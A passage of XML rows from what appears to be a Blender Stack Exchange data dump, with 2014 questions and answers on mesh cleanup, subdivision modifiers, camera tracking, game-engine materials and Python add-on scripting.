  <row Id="19144" PostTypeId="2" ParentId="19123" CreationDate="2014-11-23T09:25:07.597" Score="2" Body="&lt;p&gt;In &lt;em&gt;Object Mode&lt;/em&gt; select all objects but the armature. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;J &lt;/kbd&gt;(join) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parenting with &lt;em&gt;Automatic weights&lt;/em&gt; fails due to duplicated vertices.&#xA;With the mesh selected enter &lt;em&gt;Edit Mode&lt;/em&gt; select all &lt;kbd&gt;A&lt;/kbd&gt; then press the &lt;em&gt;Remove Doubles&lt;/em&gt; button from the left panel this removes &gt; 3700 vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably need to manually edit the middle part of the body because it is not connected. Or try to increase the limit when removing the doubles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this could also be done with a &lt;em&gt;Mirror Modifier&lt;/em&gt; set to clipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After parenting with automatic weights your model requires weight painting. In your case I wouldn't recommend to use automatic weights because it adds much weights you only need to remove. Better paint it all manually from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hrNTa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-23T09:25:07.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19146" PostTypeId="1" AcceptedAnswerId="19149" CreationDate="2014-11-23T11:16:54.503" Score="4" ViewCount="3737" Body="&lt;p&gt;Subdivision is selected as Catmull-Clark by default. However, the Blender development team still includes the Simple subdivision in Blender 2.72. Does it serve a purpose? Why should I use the Simple subdivision instead of the Catmull-Clark subdivision?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of the Subsurface panel. You can clearly see the options Catmull-Clark and Simple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/btPhb.png&quot; alt=&quot;Subsurf panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4931" LastActivityDate="2014-11-26T11:30:33.570" Title="When would you use Simple subdivision rather than Catmull-Clark subdivision?" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19147" PostTypeId="2" ParentId="19146" CreationDate="2014-11-23T11:27:17.887" Score="3" Body="&lt;p&gt;About &lt;strong&gt;Simple Subdivision&lt;/strong&gt; from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only subdivides the surfaces, &lt;strong&gt;without any smoothing&lt;/strong&gt; (similar to &lt;kbd&gt;W&lt;/kbd&gt; → Subdivide, in Edit mode). Can be used, for example, to increase base mesh resolution when using displacement maps or textured emitters with indirect lighting. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think it's a suitable example. It's just an option to programmatically subdivide your object's geometry. It can be used to &lt;strong&gt;add more detail to your geometry very quick&lt;/strong&gt; without e.g. manually placing new edge loops. The main advantage is that the modifier have &lt;strong&gt;no effect on the appearance of the object&lt;/strong&gt; itself (non-destructive) unlike the catmull-clark algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For illustration purposes here is a simple test environment. &lt;em&gt;I've selected the real edges of the geometry to better see the difference between both modifiers.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s33ei.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Example geometry &lt;strong&gt;without Subsurf&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzsQ2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Example geometry with &lt;strong&gt;Simple Subsurf&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/StQCn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Example geometry with &lt;strong&gt;Catmull Subsurf&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: There is a interesting &lt;a href=&quot;http://en.wikipedia.org/wiki/Catmull%E2%80%93Clark_subdivision_surface&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia article&lt;/a&gt; about the Catmull algorithm.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2014-11-26T11:30:33.570" LastActivityDate="2014-11-26T11:30:33.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19148" PostTypeId="2" ParentId="19126" CreationDate="2014-11-23T11:54:16.650" Score="2" Body="&lt;p&gt;If the camera is not moving (you're not walking or otherwise displacing the camera to have some parallax) the only way to solve the shot is using tripod solve. Normal solve will only give you errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very hard however to accurately get depth on a tripod solve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Motion_Tracker&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tripod can be used for footage where the camera does not move and only&#xA;  rotates. Such footage can't be tracked with a generic solver approach,&#xA;  and it's impossible to determine the actual feature points in space&#xA;  due to a lack of information. So this solver will solve only the&#xA;  relative camera rotation and then reproject the feature points into a&#xA;  sphere, with the same distance between feature and camera for all&#xA;  feature points.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once the scene is solved you might not get the right orientation using the default tools (like floor, wall or origin) but you can set manually by selecting the camera in the 3D viewport and rotating it to make the plane and cube match the orientation of the real images (remember to set the original footage as background image). All the trackers are parented to the camera, so they will follow it as you move it along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to get is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sample file &lt;a href=&quot;http://www.pasteall.org/blend/33017&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iQnhK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-11-23T12:00:10.510" LastActivityDate="2014-11-23T12:00:10.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19149" PostTypeId="2" ParentId="19146" CreationDate="2014-11-23T12:59:54.693" Score="4" Body="&lt;p&gt;One can use the simple &lt;em&gt;Subsurf Subdivision Modifier&lt;/em&gt; when additional geometry is required without the deformation that occurs when Catmull-Clark algorithm is used. &#xA;Simple subsurf can create the geometry for a &lt;em&gt;Displacment Modifier&lt;/em&gt; .&#xA;See this image its underlying geometry is a default torus. But has two subsurf modifiers and a displacement modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nElMr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the 2nd simple subsurf it would look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZUuzL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique is call UV-sculpting and a tutorial was posted at &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?273033-Sculpting-with-UVs-and-displacements&quot; rel=&quot;nofollow noreferrer&quot;&gt;this BA thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-23T12:59:54.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19151" PostTypeId="1" CreationDate="2014-11-23T14:54:03.123" Score="2" ViewCount="855" Body="&lt;p&gt;As the title says, how can I get Materials that contain textures to work and not be shadeless in BGE that is set to Multitexture mode? I cannot use GLSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to use materials so I can control the specularity of my objects. If I set the Blend mode for my textures to Mix the object becomes shadeless, if I set it to multiply the object becomes black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some pics to demonstrate my predicament...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal viewport:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r4n4Y.png&quot; alt=&quot;Normal viewport image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BGE running, texture set to mix:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VaTme.png&quot; alt=&quot;BGE Pic 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BGE running, texture set to multiply:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4YvGA.png&quot; alt=&quot;BGE Pic 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BGE running, no material assigned (using UV image texture):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IqKmD.png&quot; alt=&quot;BGE Pic 3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1106" LastActivityDate="2014-12-20T23:17:13.263" Title="How do I get lit textured materials in Multitexture BGE?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;game-engine&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19152" PostTypeId="1" CreationDate="2014-11-23T17:28:27.497" Score="0" ViewCount="49" Body="&lt;p&gt;I have created UV textures for lip-syncing, but I do not know how to change the textures with keyframes. So say I want to go from a neutral face to a transition face on the next 5 frames to a speaking face. How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I am using Blender Render. Here is a screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uVzZB.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastEditorDisplayName="user8158" LastEditDate="2014-11-23T21:45:44.470" LastActivityDate="2014-11-23T21:45:44.470" Title="Texture Changing with Keyframes" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-25T01:01:53.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="19153" PostTypeId="1" CreationDate="2014-11-23T17:55:08.067" Score="1" ViewCount="248" Body="&lt;p&gt;I have accidentally enabled a mode which creates a kind of smooth brush whenever I move an object. And when I drag it across the axis everything inside the circle gets moved as well. How do I stop this and what is the keyboard shortcut?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yhwxe.jpg&quot; alt=&quot;http://imgur.com/2SOAJpx,e4Q267b#0&quot;&gt; - This is the difference in the tool bar, in other .blends without the problem there is no (Smooth).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0b1G3.jpg&quot; alt=&quot;http://imgur.com/2SOAJpx,e4Q267b#1&quot;&gt; - This is the circle in which everything in it also gets moved, this can be re sized but not removed. And even if I re size it until it is almost gone, it still creates problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could help me figure out this problem it would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8159" LastEditorUserId="12" LastEditDate="2014-11-23T19:35:49.083" LastActivityDate="2014-11-24T00:31:00.400" Title="Objects being moved with each other inside an area" Tags="&lt;transforms&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-23T19:34:48.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="19156" PostTypeId="2" ParentId="19153" CreationDate="2014-11-23T19:04:59.753" Score="1" Body="&lt;p&gt;Available Shortcuts for Proportional Edit tool:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;O&lt;/kbd&gt; to enable/disable Regular mode;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; to enable/disable Connected mode;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; to switch among the Falloff types.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-11-24T00:31:00.400" LastActivityDate="2014-11-24T00:31:00.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19158" PostTypeId="2" ParentId="19121" CreationDate="2014-11-23T20:09:15.913" Score="11" Body="&lt;p&gt;It's basically a camouflaged checkbox (boolean property) with changing icon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        obj = context.object&#xA;&#xA;        box = layout.box()&#xA;&#xA;        row = box.row()&#xA;        row.prop(obj, &quot;expanded&quot;,&#xA;            icon=&quot;TRIA_DOWN&quot; if obj.expanded else &quot;TRIA_RIGHT&quot;,&#xA;            icon_only=True, emboss=False&#xA;        )&#xA;        row.label(text=&quot;Active object is: &quot; + obj.name)&#xA;&#xA;        if obj.expanded:&#xA;            row = box.row()&#xA;            row.prop(obj, &quot;name&quot;)&#xA;&#xA;            row = box.row()&#xA;            row.label(text=&quot;Hello world!&quot;, icon='WORLD_DATA')&#xA;&#xA;            row = box.row()&#xA;            row.operator(&quot;mesh.primitive_cube_add&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(HelloWorldPanel)&#xA;    bpy.types.Object.expanded = bpy.props.BoolProperty(default=True)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(HelloWorldPanel)&#xA;    del bpy.types.Object.expanded&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-23T20:09:15.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19159" PostTypeId="1" CreationDate="2014-11-23T20:16:54.277" Score="3" ViewCount="988" Body="&lt;p&gt;Is it possible to get a vertex paint layer into a cycles hair material, when the hairs are emitted from vertices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a vertex paint layer working for the emitter, but the hair strands don't get the info:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dMYMo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that interpolated children strands &lt;em&gt;do&lt;/em&gt; pick up the vertex paint info. This is also true for hair emitted from faces. These don't work for me, because I need the hair to be emitted from the vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MVfSJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm still trying to get &lt;a href=&quot;https://blender.stackexchange.com/q/12143/822&quot;&gt;this&lt;/a&gt; question working)&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-11-23T20:31:57.507" Title="Colouring hair with vertex paint" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;particles&gt;&lt;vertex-colors&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-11-24T21:06:50.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="19160" PostTypeId="2" ParentId="18800" CreationDate="2014-11-23T20:18:25.637" Score="1" Body="&lt;p&gt;It seems that this feature is not currently implemented in Blender.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-23T20:18:25.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19161" PostTypeId="2" ParentId="14371" CreationDate="2014-11-23T21:21:33.673" Score="0" Body="&lt;p&gt;By default Blender does not draw an edge when its faces have almost the same orientation. You can enable the displaying of all edges by going to the Object settigns in the property panel. Under &lt;code&gt;Display&lt;/code&gt; enable &lt;code&gt;Draw All Edges&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A2Ndr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to enable this option for each mesh seperatly.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-11-23T21:21:33.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19162" PostTypeId="2" ParentId="19146" CreationDate="2014-11-23T21:27:32.137" Score="5" Body="&lt;p&gt;As an example of a case where &lt;em&gt;simple&lt;/em&gt; is might be preferred over &lt;em&gt;Catmull-Clark&lt;/em&gt;, say you have a large plane which you want to subdivide non-destructively for use with the displace modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When subdivided with &lt;em&gt;Catmull-Clark&lt;/em&gt;, it becomes nearly a circle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Izthz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with &lt;em&gt;Simple&lt;/em&gt; it maintains the original square shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fR3rp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just one example. There are probably many such use-cases where &lt;em&gt;Catmull-Clark&lt;/em&gt; subdivision doesn't provide the desired result without extra things like edge-creases.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-23T21:27:32.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19164" PostTypeId="1" CreationDate="2014-11-23T22:38:34.400" Score="2" ViewCount="192" Body="&lt;p&gt;I accidentally moved my camera using &quot;align to View&quot;, which I thought was just for the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get my camera back to where it was? I'm doing progress shots, so it's essential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm too far out from undo to get it back, and I don't want to risk losing the work I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;— K&lt;/p&gt;&#xA;" OwnerUserId="5686" LastActivityDate="2014-11-23T22:38:34.400" Title="Accidently Moved Camera, Get Position Back?" Tags="&lt;camera&gt;&lt;scene&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19165" PostTypeId="1" AcceptedAnswerId="19167" CreationDate="2014-11-23T22:58:07.780" Score="1" ViewCount="184" Body="&lt;p&gt;I'm trying to create a book shelf, but after doing a series of loop cuts, some of my shelves are now doubled-up and I'd like to delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the image below, I tried deleting all of the faces and edges for one of the doubled up shelves in the hopes that the two parts would &quot;snap together&quot;, but they are now separated by orange dotted lines. Is it possible to merge these two sections together now? I tried using the Merge tools, but none of them accomplished my goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I merge the separated edges with the mesh that I want to keep, and have the original shelf stay in place? If I am trying to do this in the entirely wrong way, Then i would appreciate being pointed in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TPx63.png&quot; alt=&quot;Screenshot from Blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8163" LastEditorUserId="5426" LastEditDate="2014-11-24T06:22:26.900" LastActivityDate="2016-03-24T15:36:24.410" Title="How can I join meshes that are separated by dotted lines?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19166" PostTypeId="1" CreationDate="2014-11-23T23:18:27.370" Score="1" ViewCount="726" Body="&lt;p&gt;I have a script(Script A) that sets/adjusts a lot of render settings in the render panel, in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script A:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;def set_output_settings():&#xA;    update_filename()&#xA;    set_filetype()&#xA;    disable_overwrite()&#xA;&#xA;def set_settings():&#xA;    set_output_settings()&#xA;    set_sampling_settings()&#xA;    set_dimension_settings()&#xA;&#xA;set_settings()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works beautifully on it's own, when executed from within Blender's text editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I have a UI script(Script B) to make this into an addon. Here, I call script A with the exec command. When I run script B, a panel with a button shows up, in the context menu. But when I push the button(to execute Script A), I get an error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;F:\06_MotionPath_Dev\MotionPath_Dev_001.blend\RenderAddon_UI&quot;, line 30, in execute&#xA;  File &quot;F:\Scripts\RenderAddon\QuickRenderAddon.py&quot;, line 73, in &amp;lt;module&amp;gt;&#xA;    set_settings()&#xA;  File &quot;F:\Scripts\RenderAddon\QuickRenderAddon.py&quot;, line 64, in set_settings&#xA;    set_output_settings()&#xA;NameError: name 'set_output_settings' is not defined&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't figure out why. After all, script B works fine when run seperately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried rearranging the order of the functions, but it doesn't help. What's wrong with my script and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;class LayoutDemoPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel for quick rendering options&quot;&quot;&quot;&#xA;    bl_label = &quot;Quick rendering panel&quot;&#xA;    bl_idname = &quot;RENDER_PT_layout&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;render&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;&#xA;        # Create an row where the buttons are aligned to each other.&#xA;        layout.label(text=&quot;Quick Rendering:&quot;)&#xA;&#xA;        row = layout.row()&#xA;        row.scale_y = 2.0&#xA;        row.operator(&quot;object.custom_rendering&quot;)&#xA;&#xA;class CustomRenderOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Render stuff, yee&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.custom_rendering&quot;&#xA;    bl_label = &quot;Preview render&quot;&#xA;&#xA;    def execute(self, context):&#xA;        filename = &quot;F:\\Scripts\\RenderAddon\\QuickRenderAddon.py&quot;&#xA;        exec(compile(open(filename).read(), filename, 'exec')) ######## Calling the other script&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(LayoutDemoPanel)&#xA;    bpy.utils.register_class(CustomRenderOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LayoutDemoPanel)&#xA;    bpy.utils.unregister_class(CustomRenderOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It also works if I merge the two script files together. But I find that messy. Is it preferred to only have 1 script file/module per addon?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2014-11-23T23:36:06.217" LastActivityDate="2014-11-23T23:36:06.217" Title="Script works independenlty, but not when called from another script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19167" PostTypeId="2" ParentId="19165" CreationDate="2014-11-24T01:22:08.303" Score="3" Body="&lt;p&gt;You can easily do this by first enabling &lt;em&gt;Vertex Snapping&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KuyAZ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;select the edges/vertices that you want to join.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sGyAA.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Hold &lt;em&gt;Control&lt;/em&gt; and move it along the &lt;em&gt;Z&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kvoTE.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Then, select all the vertices, you want to join, or simply press A to select them all. Press W and select remove doubles. This will join them so it is a connected mesh.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nXg0c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2014-11-24T01:22:08.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19168" PostTypeId="1" AcceptedAnswerId="19193" CreationDate="2014-11-24T02:18:29.640" Score="2" ViewCount="1940" Body="&lt;p&gt;I'm trying to create a &lt;strong&gt;multi-file package&lt;/strong&gt; for my Blender addon. But when I click install addon, the addon doesn't show up in the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two files: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;__init__.py&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;QuickRenderAddon.py&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;They are put inside a folder called RenderAddon. When I'm installing the addon, I choose the &lt;code&gt;__init__.py&lt;/code&gt;. What am I doing wrong and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have installed one self-made addon before. This addon shows up as it should. But that was only one script.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;__init__.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot; : &quot;Quick rendering&quot;,&#xA;    &quot;author&quot; : &quot;Lambi&quot;,&#xA;    &quot;version&quot; : (1, 0, 0),&#xA;    &quot;blender&quot; : (2, 7, 1),&#xA;    &quot;location&quot; : &quot;View 3D &amp;gt; Edit Mode &amp;gt; Tool Shelf&quot;,&#xA;    &quot;description&quot; :&#xA;        &quot;Allows for quick rendering&quot;,&#xA;    &quot;warning&quot; : &quot;&quot;,&#xA;    &quot;wiki_url&quot; : &quot;&quot;,&#xA;    &quot;tracker_url&quot; : &quot;&quot;,&#xA;    &quot;category&quot; : &quot;Add Mesh&quot;,&#xA;    'support': 'COMMUNITY'&#xA;}&#xA;&#xA;if &quot;bpy&quot; in locals():&#xA;    import imp&#xA;    imp.reload(QuickRenderAddon)&#xA;    print(&quot;Reloaded multifiles&quot;)&#xA;else:&#xA;    from . import QuickRenderAddon&#xA;    print(&quot;Imported multifiles&quot;)&#xA;&#xA;import bpy&#xA;import os&#xA;&#xA;class LayoutDemoPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel for quick rendering options&quot;&quot;&quot;&#xA;    bl_label = &quot;Quick rendering panel&quot;&#xA;    bl_idname = &quot;RENDER_PT_layout&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;render&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;&#xA;        # Create an row where the buttons are aligned to each other.&#xA;        layout.label(text=&quot;Quick Rendering:&quot;)&#xA;&#xA;        row = layout.row()&#xA;        row.scale_y = 2.0&#xA;        row.operator(&quot;object.custom_rendering&quot;)&#xA;&#xA;class CustomRenderOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Render stuff, yee&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.custom_rendering&quot;&#xA;    bl_label = &quot;Preview render&quot;&#xA;&#xA;    def execute(self, context):&#xA;        QuickRenderAddon.set_settings()&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    